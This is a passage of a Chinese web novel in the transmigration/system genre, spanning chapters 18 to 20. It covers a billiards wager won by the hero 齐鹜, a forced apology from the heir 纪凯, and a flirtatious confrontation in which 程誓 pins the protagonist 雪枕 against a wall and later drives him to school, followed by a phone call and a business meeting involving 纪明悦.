因而,齐鹜很轻易地察觉到了角落里投过来的视线。
稍一错眼,就对上一双漆黑水润的眼睛。
眼睛的主人正专心致志地盯着他,唇瓣微动,嘟囔着什么。
似乎是没预料到自己的转头,那人瞪大眼睛,紧张兮兮地眨眼,睫毛不断扇动,试图错开他的视线。
眼底也莫名变得水润,在灯光的映照下,简直像含了一汪水。
很是受了一番惊吓。
是他……还是……?
第六感告诉齐鹜,这不是自己的幻觉。
可那种感觉实在微妙,换个人来可能都无法发现。
但齐鹜相信自己的直觉。
纵然再次俯身校准方向,他也不由自主地分了一丝心神。
齐鹜觉得那不是错觉。
他甚至感觉,面前的黑发少年就是为他而来的。
思忖中,齐鹜送出球杆。
白色球滚动起来,循着他假定的方向,撞在库边,以一个十分巧妙的角度绕开遮挡球,力度未收,迅速滚动着撞向前面的黑色目标球。
时间仿佛在这一刻静止。
“嘭。”
包间里的人大气不敢喘,一双双眼睛都盯紧了球桌。
黑色球掉入球袋。
不远处的纪凯咂了咂舌。
继而,齐鹜推出下一杆,手背绷出明显的青筋,不假思索一般。
每一球的角度算不上绝对精准,晃悠悠地,竟然也能无比惊险地抵达目标点。
“他X的……”
纪凯脸上轻松神情不复。
他难以置信地直起身,探出身盯着球桌,试图寻找齐鹜有没有什么小动作。
然而球桌上的人动作精确又标准,每一杆都有惊无险。
比分迅速追回。
纪凯坐不住了。
程誓也有些讶然。
他“咦”了一声,直起身子。
这人竟然能在这么短的时间内调整状态,甚至比方才更好。
难道他要赌输了?
齐鹜暗自纳罕,回想了一下这个惹到了纪凯的人的名字。
好像叫什么……齐鹜?
程誓也咂舌。
怎么又姓齐?难道他这辈子跟姓齐的人杠上了吗?
程誓拧眉,并未细想。
雪枕听见旁边的女生呼吸声沉了一瞬。
他送去一个眼神安抚,让对方不要太激动。
比分拉回来了。
显然龙傲天的胜利几率很大。
而且,雪枕在收拾球袋的生活,也顺势检查了一下球桌,确认了一切正常。
纪凯没有在这上面动手脚。
可惜了。
炮灰碰见龙傲天主角,总是输掉的命。
雪枕按住激动的886,让它老老实实呆在自己身边。
龙傲天赢了,他也可以摆脱一会程誓,尽管时间不长。
如果是还在反派部门的时候,雪枕并不排斥和同为炮灰的NPC接触。
但程誓这个人,得寸进尺,他总疑心要是不明确拒绝,对方甚至想搬到他对面去。
尤其是,在这个任务世界雪枕还有一个糟心的身份,跟着母亲嫁入豪门的拖油瓶。
雪枕一点不怀疑只要有机会,唐贾就会把他送去讨好合作方。
这对反派还是太超过了。
雪枕接受的是攻略龙傲天的任务,不是绑定了什么花卉网站系统。
一轮一轮过去。
球桌几乎清空,比分也越拉越大。
齐鹜表情不变,却呼出一口气,衬得纪凯脸色铁青。
最后一颗红球骨碌碌地滚进球袋里,雪枕给龙傲天加上最后一分。
齐鹜赢了。
纪凯扔掉球杆,球杆砸到地上,发出“咔嚓”一声的脆响。
他竟然输了。
纪凯脸色红白交错。
跟班觑着他的脸色,正要开口,程誓站了起来。
他还没忘记今天出现在这里是干什么的。
“结束了。”
程誓大摇大摆地走到纪凯面前,不甚在意地瞥了几眼神色依旧淡漠的齐鹜。
他转头看纪凯,假模假样地劝慰:“好了,就是一次切磋,脸色这么差干什么。”
纪凯嘴角抽搐。
说这话的要是旁人,他早发飙了,偏偏程誓也是乖戾的主,脾气甚至比他还暴躁。
今天,程誓大有维护那个穷小子的想法。
纪凯不知道程大少爷抽什么风,是听了小男朋友的要求,还是想在人面前逞威风,竟然如此惺惺作态。
他听得反胃,可也说不出什么反驳的话。
再看那个穷小子,居然一点表情都没有!
这也是纪凯最愤怒的点。
一个穷小子,到处做兼职,竟然也有胆子看轻他!
不是故作姿态,而是天生如此,好像自己就是地上的泥点,沾到衣角都嫌恶心。
“呵呵……”
纪凯脸色抽了又抽,终于在程誓的注视下咬着牙开口。
“恭喜啊……”
他表情狰狞,说出来的效果不像贺喜,反倒像威胁。
雪枕扯掉手套,凑过来,还记得站在程誓后面。
“那你要履行约定了么?”他眨着一双黑白分明的眼睛,说出来的话却让人牙痒痒。
纪凯黑脸。
他从小众星捧月,却在这个穷小子身上栽了两次跟头。
一次是被亲爸妈教训,一次是在圈内人面前丢脸,还要被程誓带过来的小男朋友阴阳怪气。
简直是耻辱!
“怎么?还要请叔叔阿姨他们过来?”
程誓大喇喇地搂住雪枕的肩膀,好整以暇看向纪凯,也不免对这个同为纨绔的“熟人”生出几分轻蔑。
仗势欺人、颠倒黑白在他们圈子里很正常,但现在还不认账,属实是有些过分了。
要是把事情捅到纪父纪母那里,让对方担心起家中独女和齐家没搭上的联姻,恐怕又是一阵迁怒。
听见程誓提到爸妈,纪凯瞳孔紧缩。
“少爷……我们……”
跟班之一小心翼翼地观察着纪凯的脸色,深觉不妙。
“闭嘴!”
纪凯恼羞,不好当面发作,打碎牙齿往肚里咽。
“呵呵,齐鹜是吧。”
他深吸一口气,终于拧过身,看向面前这个从没正眼看过的穷小子。
“对不起。”
纪凯的语气硬邦邦,声音也小,配上极差的脸色,看着竟像是寻仇。
“我以后,以后……”
“我以后不会再来这地方了!”
半天,纪凯只咬牙说出这么一句话。
他这二十多年都没学过道歉,如今也只能干巴巴地说上几句不痛不痒的话。
得到这样的承诺都实属不易。
齐鹜并未表态。
他也呼出一口浊气,动作轻缓地把球杆复位。
纪凯砸坏了球杆可以赔偿,他还要搭上
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兼职的钱。
面对纪凯,他也只是淡淡说了一句:“那多谢了。”
转过身,齐鹜依旧是刚开始那副淡然神情。
这一场比赛下来,唯一有的变化竟然只是微微汗湿的额角。
他看向角落里的女生。
年轻女生哑然半天,最后摇摇头。
“我们也很抱歉,”她试图说些软化:“不要生气……”
这些天来她一直担惊受怕。
她并不想连累齐鹜,让对方因为自己得罪富家少爷,引来不必要的争端。
尤其是,在知道纪凯又找过来的时候。
年轻女生细声细气。
雪枕却忽然打断。
“等等。”
“如果我没记错,”他的眼睛自齐鹜和纪凯身上来回扫:“你好像说,如果自己输了,会给她道歉。”
雪枕指了指一脸惊讶的女生。
“对不对?”
纪凯脸色一变。
在程誓面前认错是一时之举,不愿牵扯到爸妈,现在让他给一个服务员道歉是什么意思?!
纪凯完全忘了随口给出去的赌约。
“而且,你是不是也应该保证,以后不能再为难他们?”
雪枕顶着纪凯阴测测的目光,躲在程誓后面很无所谓地开口:“如果他们有什么事,第一责任人都是你呀。”
他一边说,一边戳戳程誓的肩膀,要他配合自己。
程誓竟也很配合。
他开腔:“你这事做的的确过了。”
他们一唱一和,纪凯甚至有些招架不住。
“呵呵。”
纪凯磨牙,眼角抽搐。
然而程誓并不给他拖延的机会,从口袋里掏出手机,作势要打电话。
“你不答应,我只好给叔叔他们打个电话……”
“别!”
纪凯扬声,脸色一变,最终脱力般开口:“我现在就道歉!”
程誓挑挑眉。
“对不起……”
比起方才,纪凯的声音小了很多,气焰也不如往常,像只斗败的公鸡。
雪枕躲在程誓后面,毫无畏惧地露出小半张脸:“怎么听不见呀……”
“我说对不起!”
纪凯被他噎了一下,恼怒地抬高声音:“对不起!!!”
他身后的跟班也被吓一大跳,甚至不敢靠近。
年轻女生神色依旧惶惶。
她的目光频频投向雪枕,有些惊讶,也有愕然。
雪枕却得寸进尺。
“你还没有保证以后不会来骚扰他们。”
雪枕眨眼,一脸天真地说出让纪凯恨得牙痒痒的话。
“不要忘了呀。”
纪凯的脸色差到极点。
他看向雪枕,视线却先一步投向程誓。
后者满不在乎地任由身后人搭着自己的肩膀,还微微侧过头,方便雪枕把脸露出来。
纪凯:……
或许是刺激太大,他竟然有种生不出气的感觉。
程誓带过来的小男朋友太可怕了!
时间一分一秒过去。
良久,纪凯咬着牙,艰难地重复了一遍雪枕的话。
“行,我发誓,以后再也不会出现在这里,也不会为难他们。”
他加重语调:“绝对不会。”
齐鹜未作任何表态。
他的情绪并不外露,只是平静地点点头,仿佛刚刚比赛的不是他。
纪凯的跟班站在他旁边,雪枕和程誓靠得很近,只有他一个人淡淡地站在一旁,谨慎地和所有人保持距离。
尽管站在灯光下,依旧让人捉摸不透。
年轻女生倒是露出激动表情,不过是对着雪枕和程誓。
她嗫嚅着,最终只是低下头,小声说了几句谢谢之类的话。
和雪枕对上视线的时候,她抿唇,扯出一个无奈又感激的笑。
雪枕也微微颔首。
很快,纪凯气冲冲地走了,带着两个跟班,逃也似地离开这个地方。
龙傲天也淡淡地和他们告辞,表示自己还要工作。
在外面不知道等了多久
程誓不甚在意:“那你去吧。”
他长臂一伸,攥住想趁乱离开某人,皮笑肉不笑。
“你干什么去?”
雪枕被迫抬头,乌润的眼睛眨了眨。
“没有啊。”
雪枕一脸无辜:“你在说什么?我要去上课了。”
“嗯?”
程誓有些好笑:“用完就丢?”
“仗着我看了热闹,现在就想跑?”
18. 拜金男友18
“或者说,你认识那个……齐鹜?”
程誓越靠越近:“什么时候认识的?”
雪枕觉得不太妙,往后退了几步。
包间里已经没人了,纪凯气冲冲地带着跟班走了,龙傲天也离开,连方才正要进包间收拾残局的清洁人员看见还有人在,也悄悄退了出去。
还贴心地带上了门。
程誓步步紧逼,察觉不到他的抗拒似的,沉沉的手臂搭在他的肩膀上,不让他后退半步。
程誓的体格比雪枕健壮太多,轻而易举就能把他困在自己和墙壁之间。
他们之间的姿势已经从方才雪枕主动,到程誓用肩膀和手臂囚住他,膝盖也不由分说地抵在他两腿之间。
程誓很自然地俯下身,浓眉上挑,异色瞳孔闪烁着莫名的微光,盯住猎物似的。
从雪枕的角度看,十分清晰地瞥见他眼底一抹让人看不透的幽深。
不对。
雪枕已无暇顾及跳来跳去的886。
他感觉自己被攥住的肩头有些许酸麻,痛说不上,更多是不自在。
如果有尾巴,现在尾巴毛都炸开了。
“没有啊。”
雪枕眼珠转了转,乌黑透亮,莹润得惊人。
他开口,音色也是软得能掐出水,不明所以一般反问:“哪里有你想的那样?”
是吗?
要求过来,主动要当裁判,真一点不认识?
不知不觉,程誓的脑海里已经闪过许多可能。
他没意识到,自己现在有些像凭借蛛丝马迹寻找奸夫。
那种头顶绿油油,还要为老婆辩解的苦主。
程誓扯出笑,露出森白齿尖,按住雪枕胡乱扭动的肩膀。
那段弧度清瘦单薄,从衣领内蔓延出来,锁骨的曲线漂亮而惹人遐想。
夏天的衣料单薄,温热的体温隔着薄薄一层传过来,他掌心有些发痒,不由得攥得更紧。
“再说了,”雪枕很无辜:“今天难道不是你要带我出来的吗?本来我都打算去学校了。”
“一个兼职工,我怎么可能认识他?”
提到方才和纪凯有过节的人,他的语气带了点轻慢:“想想也不可能呀,唐叔也不可能让我来这种地方的。”
这倒是。
唐贾那么一个见风使舵的人,怎么可能让自己的继子随便和旁人接触。
而雪枕本人……
程誓眯眼。
他的目光在雪枕黑白分明的眼睛上,又往下挪,落在微翘的鼻尖,和花瓣般粉润的唇。
看着就是娇生惯养长大的。
本事不大,脾气却不小。
这样的人,会为了不相干的人解围么?
自认理由合情合理,雪枕微微扬起下巴和程誓对视。
表情都硬气几分。
程誓力道未松,审视地盯住他。
果然,没几分钟,雪枕就试图推开他的手。
他暗戳戳地扭动:“你的手。”
“松一下。”
啧。
雪枕的皮肤细嫩,他也见识过,知道那雪白的肤肉是怎么一碰就泛红的。
刚想开口说娇气,程誓就听见他小声嘀咕。
“有点疼。”
微凉的指尖搭在手背上,小心翼翼地戳他。
黑润的眼睛眨啊眨,像被欺负了一样。
程誓顿了一下,松开手。
松手也就是只松手,手臂仍然虚虚环在上方,更别说挤开雪枕双腿的膝盖,一点也没有收回去的意思。
这个距离远远超过正常的社交距离,偏偏程誓感觉不到一样,一个劲地把他往墙角挤。
886都跳到程誓身上了,甩着肥短的翅膀叽叽喳喳。
雪枕听得有种想让他们两个都冷静一下的想法。
然而,程誓忽地眯眼:“什么声音?”
雪枕:?
886:?
这个NPC怎么还能听见系统说话?
一人一统震惊。
雪枕暗暗给886一个眼神,让它老实呆着。
雪枕试图岔开话题:“什么什么声音?”
“有点吵……?”程誓有些疑惑:“是我听错了?”
分明有什么东西叽叽喳喳乱叫的声音。
隐隐约约的,信号不好一样断断续续。
他看了看周围,寻找声源,但俱乐部的隔音做得太好,让他疑心自己是不是听岔了。
“应该是听错了。”
程誓不语。
雪枕打岔:“你松开我,我要去学校。”
肩膀被推了两下,程誓也不再追究听见的古怪动静。
他和雪枕对上视线:“生气?”
雪枕摇摇头。
程誓扯了扯嘴角。
“纪凯是纪家二叔的独子,因为几家只有他一个儿子,被惯得没边。”
忽地提起不相干的事,他的声音听起来有些严肃:“纪家早年靠走/私发家的,明面上的生意是洗白了,还有很多不干不净的东西攥在手里。”
“所以和他们家做生意,不怕得罪纪家老大,就怕得罪老二。”
现在程誓看起来和平时完全不一样。
往常他的神情总是吊儿郎当的,带着卷的棕色头发拨上去,露出一张的立体深刻的俊脸,看着又欠又拽。
现在他低着头,半张脸隐没在暗处,眉骨深邃,平时偏灰的眼睛也呈现出一种奇异的蓝色调。
雪枕不明所以地眨眼。
“笨。”
程誓毫不客气地在雪枕脑袋上敲了一下。
雪枕:!
“你以为纪凯为什么胆子这么大,就是因为他爸主要负责接手见不得光的东西。”
程誓幽幽:“今天他丢了脸,不可能轻而易举揭过去的。”
雪枕还捂着脑袋,就对上他深深的眼神。
“你不是为了维护那个助教?”
雪枕否认,半真半假:“我只是不喜欢那个纪凯……”
何况这个世界的龙傲天还不知道他叫什么名字呢。
程誓“哼”了一声,没有反驳雪枕。
“没人喜欢他。”
表达了对纪凯的不屑,他又:“不怕被他报复?”
程誓意有所指:“他肯定记住你了。”
雪枕松开捂住脑袋的手,指尖留下一片淡红。
“那你怕吗?”
雪枕眨眼,又密又长的眼睫轻轻扇动,激将法似的反问。
“怎么可能?”
程誓当然否认:“这里就没有能让我害怕的东西。”
雪枕的表情更理所当然了。
“所以我也不怕啊。”
他微微昂着下巴,眼睛亮晶晶的,很崇拜似的:“你会看着我出事吗?”
雪枕的眼睛很漂亮。
他的眼型优越,又圆又大的猫儿眼,瞳色有又黑,凝着一捧璀璨的星光似的。
不错眼盯着人看的时候,自然而然地就有种撒娇的意味。
程誓的心没由来得快了半拍。
他知道雪枕长得好看,也不吝啬于用这张脸撒娇卖乖。
生气的样子也很可爱。
所以程誓总是下意识地做点小动作,像没过青春
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期讨人厌的男生。
喜欢对有好感的女生做点抓人头发、抢人书的事情。
得到冷脸也不老实,被找了家长,还喜滋滋地觉得更进一步。
听见这一句撒娇一样的反问,程誓来劲了。
他咽了咽喉咙。
作死的心蠢蠢欲动。
当然不会。
程誓下意识在心底念了一遍。
可他面上不显,故意作出冷脸的样子:“如果我不呢?”
雪枕立刻收回笑。
“哼。”
他抿着唇,气鼓鼓地在程誓脚上踩了几下。
“欸!”
雪枕用了点力气,程誓一时不察,被他踩了个正着,脸色一变。
“你踩我干什么?”
“放手!”
雪枕和程誓一同开口。
看见程誓露出吃痛表情,他也冷着脸。
这人不放手,雪枕也不松脚,愤愤道:“你真讨厌!”
程誓倒吸一口冷气。
他的脚背被踩麻了,十分直观地感受到了雪枕的愤怒。
雪枕还在不断推他,意识到自己说错了话,程誓老实地服软。
他终于松开手,看着雪枕忙不迭地往外走好几步,离自己远点。
脸上还忿忿,只觑着眼看他,抿着唇非常不高兴。
好吧,这是生他气了。
完全没有哄人经验的程誓咳了两声。
他确实说错话了。
明明都听见撒娇,还非要欠欠地来上一句惹人生气的话。
“我错了。”
程誓痛快地承认自己的错误:“其实我不是那个意思……”
也不知道怎么的,他看见雪枕的时候,总有种想看他对自己发脾气样子的想法。
但雪枕生气了是不理人的。
程誓老实了。
方才还是他步步紧逼,现在只好乖乖道歉。
“我怎么可能让他对你下手。”
程誓摊手:“我那是逗你的。”
“想让你知道纪凯那个人很闹心,离他远点而已。”
“再说了,”程誓伸手,按住雪枕的肩膀让他转向自己,好声好气:“难道我今天不是来给你撑腰的吗?”
雪枕不语。
他冷着一张脸,看也不想看程誓。
雪枕只说:“我要迟到了。”
程誓从善如流:“我现在送你去学校。”
雪枕哼了一声,算是默认。
程誓一路给人揽着出去。
车上,雪枕系好安全带。
他不太想和程誓说话,程誓只好开口:“今天的赌约我输了。”
雪枕:“嗯,所以你这个月不要主动来找我。”
程誓哭笑不得。
“好了好了,”程誓:“我答应你,但是你不要生气了。”
雪枕不说话。
“好吧,”程誓无法:“那我再答应你一个要求,别生气了。”
他补充:“你想要什么都可以,只要我有。”
“真的?”
雪枕别过头,觑着眼看他。
程誓哼声:“还能有假的?”
他身边有人经常带男伴女伴,哄人的时候也很简单,送卡送奢侈品。
雪枕应该……也不排斥这些?
程誓思考着,也没想自己为什么要代入这种关系。
“那好。”
雪枕想了一下,提出自己的要求。
程誓仔细听。
“那你去给刚刚那个女生换个工作,”雪枕思忖了一下:“不要被纪凯发现的。”
19. 拜金男友19
“嗯?”
程誓有些讶然地挑眉:“你只要这个?”
雪枕点头:“是啊。”
程誓思忖。
透过后视镜,他看见雪枕的侧脸,表情很认真,没有和他开玩笑的意思。
程誓是真的有些惊讶了。
他想过雪枕会狮子大开口问他要卡要礼物,也自信出得起价,却没想到他不是给自己要东西。
而是给一个陌生人。
一个从没见过的,相处不到一天的陌生人。
这也不行?
见程誓没吭声,雪枕拧起眉。
他露出不太高兴的表情,长长的睫毛垂下来,又不肯让人看了。
“当然行。”程誓扶着方向盘,立刻扬声解释:“我只是惊讶而已。”
雪枕觑着他:“惊讶什么?”
当然是惊讶你为别人提要求。
程誓心里嘀咕。
对陌生人都这样好,怎么总对他发脾气?
当然,程誓不可能把心里话说出来。
他的脚还在隐隐作痛呢。
“不过纪凯那边……”
程誓想了一下:“算了,也好说。”
等会他打个电话过去,也不需要联系纪父纪母,找他姐就行。
纪凯的姐姐纪明悦在国外留学,学的是法律,算是他舅舅的学生。
程誓经常飞国外看望舅舅一家,和纪明悦也算是点头之交。
他也知道几分对方的脾气。
纪明悦看着柔柔弱弱,其实很有自己的想法。
她毕业,一回国就空降管理层,和公司里的老人争锋相对。
还因为适龄被齐夫人看中,有意撮合她和齐绥川。
程誓知道,纪明悦非常不喜欢纪凯这个弟弟。
上次纪凯作妖,也是纪明悦出面联系二叔,把他接回去教训。
雪枕:“好。”
程誓答应了,就是能做到的意思。
他不怀疑程誓的能力,但这人总是欠欠的。
跑车行进。
程誓自认哄好了人,想到自己答应一个月不主动去找他,又有些后悔。
那可是一个月啊!
一个月,黄花菜都凉了!
程誓一点也不怀疑这个小没良心的会直接把自己忘了。
开什么玩笑,要是被忘到脑后了,他这几天算什么。
鞍前马后给人当司机吗?
可他要是食言,又把人惹生气怎么办?
程誓对此心有余悸。
他算是知道了,雪枕是个爱对着他发脾气的,对旁人都没有。
程誓也不免承认,雪枕是他身边的人当中,唯一一个敢给他脸色看的。
偏偏他自己也不生气,甘之如饴一般。
意识到这个,程誓心情复杂。
恐怕他爸妈看见他现在瞻前顾后的样子,也会惊讶自己儿子怎么转性了。
可他该怎么和雪枕说?
既能显得他没有特别要挽留的意思,也能不让对方觉得自己出尔反尔?
跑车即将到达A大门口,惹眼的车牌和夸张的设计引得路人频频回头。
雪枕看了看时间,解开安全带要下车。
后视镜里瞥见这一幕的程誓一下子急了。
“等等!”
他的脸色变了又变,终于从喉咙里挤出一句挽留。
雪枕歪头看程誓,露出疑惑眼神。
他还不忘给自己戴上一个口罩。
程誓的车和人太引人注目,而雪枕不想在第二天看见自己登上校园头条。
还是那种非常恶俗的标题。
“你课表发我一份。”
在雪枕疑惑的目光中,程誓琢磨出了一个迂回婉转的说法。
“咳,”他清嗓:“我发现其实A大也挺有趣的,打算回来上几天课。”
上课?
雪枕对程誓的话抱有怀疑。
程誓也是A大的学生,入学伊始就没在学校路过几次面,怎么现在想来?
他可不觉得程誓是回心转意、悬崖勒马了。
“顺便……也能接送你。”
果然,程誓有些别扭地补充。
他找了个没什么人的地方停车。
雪枕狐疑地盯着程誓看几秒,后者绷着脸看不出在想什么。
他干脆解开安全带,去开车门。
没拧开。
他转头去看程誓,而后者没有一点要给他开门的意思,甚至伸手过来,非常自然地把他的安全带又系上了。
雪枕:?
这人还是欠!
程誓浑然不觉雪枕的无语,沾沾自喜自己的天才借口:“你觉得怎么样?”
“其实我车技还蛮不错的哈哈……”
雪枕:……
“这不是车不车的问题。”
到了学校门口都不让走,要是按照他说的接送,那他是不是连家都不用回了?
雪枕看着程誓那张欠欠的脸,暗暗磨了磨牙。
听见拒绝,程誓又开始思考措辞。
没等他想出个所以然,就听见雪枕问:“你为什么突然想来学校?”
“怕见不到我吗?”
程誓:!
尚且没理清的思绪被如此直白地点出来,饶是程誓如此混不吝的性格,也不免结巴一下。
他干巴巴地开口:“其实……”
“难道不是吗?”
雪枕和他同时开口,程誓只好闭上嘴。
他只能看着雪枕解开安全带,没有下车,而是往他的方向俯身,越靠越近。
那张漂亮的脸逐渐放大,近到他能听见雪枕细细的呼吸声,闻到他身上淡淡的薄荷叶的味道。
不是香水。
像是衣料上浸染的,非常浅淡的味道,钻到鼻腔里,后知后觉地溢出清新气息。
但贴得再近一点,还能闻到皮肉下隐隐约约的香气。
他刚刚也闻到了。
在和纪凯对峙的时候,雪枕把下巴搭在他肩上,肌肤紧贴,馥郁的暖香钻入鼻尖。
他从没感觉自己的嗅觉有怎么灵敏过。
现在那股香气又蔓延过来,程誓踟蹰,一动不敢动。
这是要干什么……靠得这么近。
他不由得胡思乱想,心思蠢蠢欲动。
程誓没吃过猪肉也见过猪跑,自然看见过狐朋狗
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友和“男伴女伴”相处的画面。
只要坐在那,他们就会主动贴上来,附赠一个香吻,偶尔撒娇卖乖,黏人得很。
程誓本来不太懂,为什么被亲两口喊两声就喜滋滋地送包送卡,不是当了冤大头?
但他现在十分微妙地体会到了狐朋狗友的感觉。
竟然非常……非常雀跃。
像养了一只毛茸茸软乎乎的猫,回到家就被小猫拿脑袋蹭,尾巴尖还打着卷缠在手臂上。
雪枕越靠越近。
一缕黑发落在肩膀上,明明没有重量,程誓的手臂已经紧绷得露出青筋。
然后他就看见雪枕越过自己……按开了车门锁。
“咯哒”一声。
浅淡香气被车外涌进来的空气冲淡,无法寻觅。
雪枕坐回原位,顺势打开车门。
“不是的话我就走了哦。”
等等……
程誓大脑空白,一张俊脸上写满震惊。
就这么走了?
不是来做点别的吗?
“不对!”
程誓伸手抓住雪枕的手臂,不让他下车。
“我话还没说完呢!”
被抓住手臂的人用无辜且疑惑的眼神看他,那点浅淡的香味也闻不到了。
程誓深呼吸一口气。
怪他忘了,雪枕是要哄的,怎么能找这样粗糙蹩脚的借口。
直接说不想见不到他就得了!
程誓咽了咽喉咙,自暴自弃地就要开口,又被雪枕打断了。
“按照约定,你这个月是不可以来找我的。”
雪枕慢悠悠开口,听得程誓越来越紧张:“但是……”
“我可以去找你呀。”
雪枕摊手,细腻莹白的掌心回握住程誓的手:“我又没说不会见你,而且,我挺喜欢你的。”
他一向对同阵营的NPC十分大方。
一句“喜欢”让程誓听得耳热。
他耳根红了,好在被微深的肤色映衬,红得不太明显,让他保留了几分面子。
程誓的大脑飞速思考。
方才的失神也说得过去,左右没有什么奇怪举动。
被握住的手臂也没有抖。
雪枕也没有生气。
“真的假的?”
程誓平复下心情,又追问。
雪枕点头:“当然。”
他去推车门,这次程誓没有拦他。
他只是坐在驾驶位上,一张俊脸有些不易察觉的红。
雪枕拎着自己的东西,站在车门外。
程誓也在看他。
那双漂亮的眼睛里笑意盈盈:“那么,明天再见。”
雪枕走后,程誓在原地呆了十几分钟。
直到有保安装束的人过来敲车窗,谨慎地提醒他不要在门口多逗留,他才恍然惊觉。
程誓踩下油门,晃晃悠悠地上路了。
他还得打个电话……
程誓终于想起来自己答应了什么,他刚想找手机,余光就瞥见后视镜里的自己正痴痴笑着,呆傻的样子他看了都没认出是自己。
咳咳。
程誓把笑脸收起来,按通电话。
20. 拜金男友20
“嘟嘟嘟……”
宽敞明亮的会客室内,纪明悦朝对面坐着的人露出一个抱歉表情。
对面的人摇头,修长指尖轻轻叩击桌面,示意纪明悦先忙自己的事。
于是纪明悦接通电话。
她很年轻,长相秀气,会面前为了让自己看起来可靠些,长发烫了卷,唇瓣艳红,故意往成熟了打扮。
“喂?”
纪明悦压低声音,来到走廊尽头。
这里是齐氏大厦的总裁办公层,两旁并无人,偶尔有脚步匆匆的员工带着企划案上来,又安静地离去。
层高很高,窗户也高。但窗户只能开小半边,头顶的新风系统轰隆隆运作着。
往外看,能看见湛蓝如洗的天幕和地面上小得缩成黑点的人群。
“程誓?”
纪明悦站在窗沿下,确认了一下对面是谁,疑惑地发问。
这人怎么有闲工夫给她打电话?
“是我。”
屏幕那边传来懒洋洋的声音,似乎还在开车,纪明悦听见了发动机的轰鸣声和警笛低啸的声音。
“你在飙车?”纪明悦微微皱眉:“开车打电话,这可不是个好习惯。”
程誓轻笑,带着熟悉的吊儿郎当的味道:“我今天可不是来和你聊天的。”
纪明悦“哼”一声:“我也没工夫给你闲聊。”
“有什么事就说,等会我还要开会。”
“大忙人……”
程誓也不胡扯了,直切主题:“你知道你那个弟弟,最近在干什么吗?”
弟弟?
纪明悦脑海中浮现纪凯那张不讨人喜欢的脸,语气也冷下来:“我怎么知道他在干什么?”
程誓拖长声音:“他啊,又去闹事了。”
“xx俱乐部,”他报了一个俱乐部的名字:“记得么?是他上次和人打架进警察局的地方。”
纪明悦淡淡:“记得。”
她那个弟弟,从小就不是个安分的主,被家里长辈娇惯,长大了更是混世魔王。
纪明悦还记得上一次给这个弟弟解决麻烦的场面。
她才从公司加班回去,没休息多长时间,就被一通电话叫过去。
警察也在,救护车也来了,一片混乱中,纪明悦看见纪凯的脸被人打得肿得像个猪头,又青又紫,躺在担架上愤怒地朝着对面喊,嘴里说这些一定要报复、不会放过你的话。
纪凯旁边围满了人,对面却空荡荡,一个穿着黑色衬衫,身量很高的年轻男生站在角落里。脊背挺直,略长的额发遮住眼睛,脸颊清瘦,唇角沾着点点血渍,被他用手背径直擦去。
却不狼狈。
纪明悦见惯了纪凯惹事,头一回看见他被人打了,有些惊奇。
听完纪凯跟班鬼哭狼嚎似的诉苦,她还是迅速调整好,官腔一般和对面的男生商量事后如何处理。
年轻男生抬起头,极其冷淡地表示,他不需要赔偿,只需要道歉。
“所以,又发生了什么?”
纪明悦挑眉,妆容得体的脸上露出些许嘲讽:“他又去找那个男生的麻烦了?”
“对啊,”程誓笑了一下:“不过这次我也在场。”
纪明悦:?
她疑惑地来回踱步。
程誓就把下午发生了什么掰碎和她说了,省略掉了一些不必要的内容。
纪明悦若有所思:“原来是这样。”
她笑了一声,听不出语气:“一段时间没见,你变得这么热心助人了。”
程誓也跟她掰扯:“是啊,谁叫我碰上了。”
“你跟你二叔二妈通个气,”程誓懒洋洋的:“别把傻儿子放出去乱咬人了。”
纪明悦没有反驳他贬低纪凯的话,却也未给出肯定答复。
“我可管不了他。”
纪明悦语气冷冷:“我爷爷奶奶的心头宝,我哪里管得着。”
程誓一听,也乐了。
“你弟弟也就能窝里横几下,”他意有所指:“等你接受生意,不得直接把他打发出去。”
“到时候他是死是活,不全由你做主?”
纪明悦骂他:“少扯。”
她的语气却好了些,和程誓说:“行了,我会管管他的。”
程誓又把雪枕和自己提的事顺口说了一下。
“也对,是该给他们一点补偿……”纪明悦若有所思:“你要安排?”
程誓:“是啊。”
赶上红灯,他伸了个懒腰,把车窗降下来,挑衅似的对正要加塞自己的车主比了个中指。
鸣笛声骤响,程誓没管,一脚轰动油门,扬长而去。
“有人让我管管,”他的声音带着笑意:“我怎么可能不听……”
谁?
纪明悦正好奇,就听见嘟嘟嘟的忙音。
程誓把电话挂了。
纪明悦撇嘴。
她正好奇是谁让程大少爷转了性,电话就挂了。
看来,程誓什么也没变。
纪明悦收拾好,回到会客室。
她出去十几分钟,会客室里也没有别人,显然是让人一直等着自己了。
“非常抱歉,”纪明悦露出官方化的笑容:“家里有电话打过来,久等了,我们继续商讨吧。”
低头看企划案的齐绥川微微颔首。
“好,”他的嗓音很有磁性,低沉缓和,带着让人忍不住仔细聆听的奇特韵律:“那么,继续吧。”
纪明悦于是继续介绍自己整理了一个月的企划案。
这份企划是有关新地开发的招标,是她回国前就一心想要拿下的项目。
纪家老人不服她,认为她应该从基层做起。可纪明悦知道,要是真听他们的话,不等多长时间,她爸跟她都要被架空。
而且,纪明悦也不想让二叔再收买元老,在公司里安插亲信,滥用职权了。
二叔年轻的时候还知道轻重,年纪一大,什么东西都敢碰,尤其是把儿子教成了如今这种荒唐纨绔的模样。
再放任下去,恐怕会牵连整个纪家。
纪明悦感到十分的危机。
“本次企划的主要思路是基于目标地原有的地理优势和……”她胸有成竹,向对面的人剖析自己的思路,展示自己的优势。
她必须尽快拿下这个项目。
对面,齐绥川认真倾听,偶尔附和似的点头。
他今天穿了件灰蓝细条纹的西装,偏休闲款式。双排扣,舒适而不随意,领口处还别了一枚金质的蛇形领夹。
袖口微微往上卷,露出蓝宝石的袖口,和结实有力的小臂。
视线往上,是一张轮廓分明、五官深邃的面孔。最惹人注意的是那双狭长的眼睛,幽冷漆黑,面无表情和人对视的时候,总让人胆战心惊。
西装偏休闲,却也能勾勒出他健硕凶悍的体魄,腰窄肩阔,隐隐可见极其流畅的肌肉线条。
纪明悦的心思只在企划案上。
平心而论,她和这位齐大少爷并不熟,上一次尴尬的见面也是出于齐夫人乱点鸳鸯谱。
好在齐绥川并没有任何想法,保持着最基本的礼数。
纪明悦也默契地没有提及。
“这是目前暂定的计划。”
介绍完毕自己的企划案,纪明悦深呼一口气:“您有什么
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想深入了解的吗?”
齐绥川沉吟。
他翻到某一页,推到纪明悦面前。
“总体而言,思路很明确。”
齐绥川声音很低。
他伸手,点了点桌面,话锋一转:“但,有些部分太理想化。”
“城郊这一块,发展一直很慢,并不是只有位置偏僻的原因。”齐绥川指出纪明悦考虑不当的地方:“那里有很多钉子户,知道么?”
纪明悦点头。
她有所耳闻。
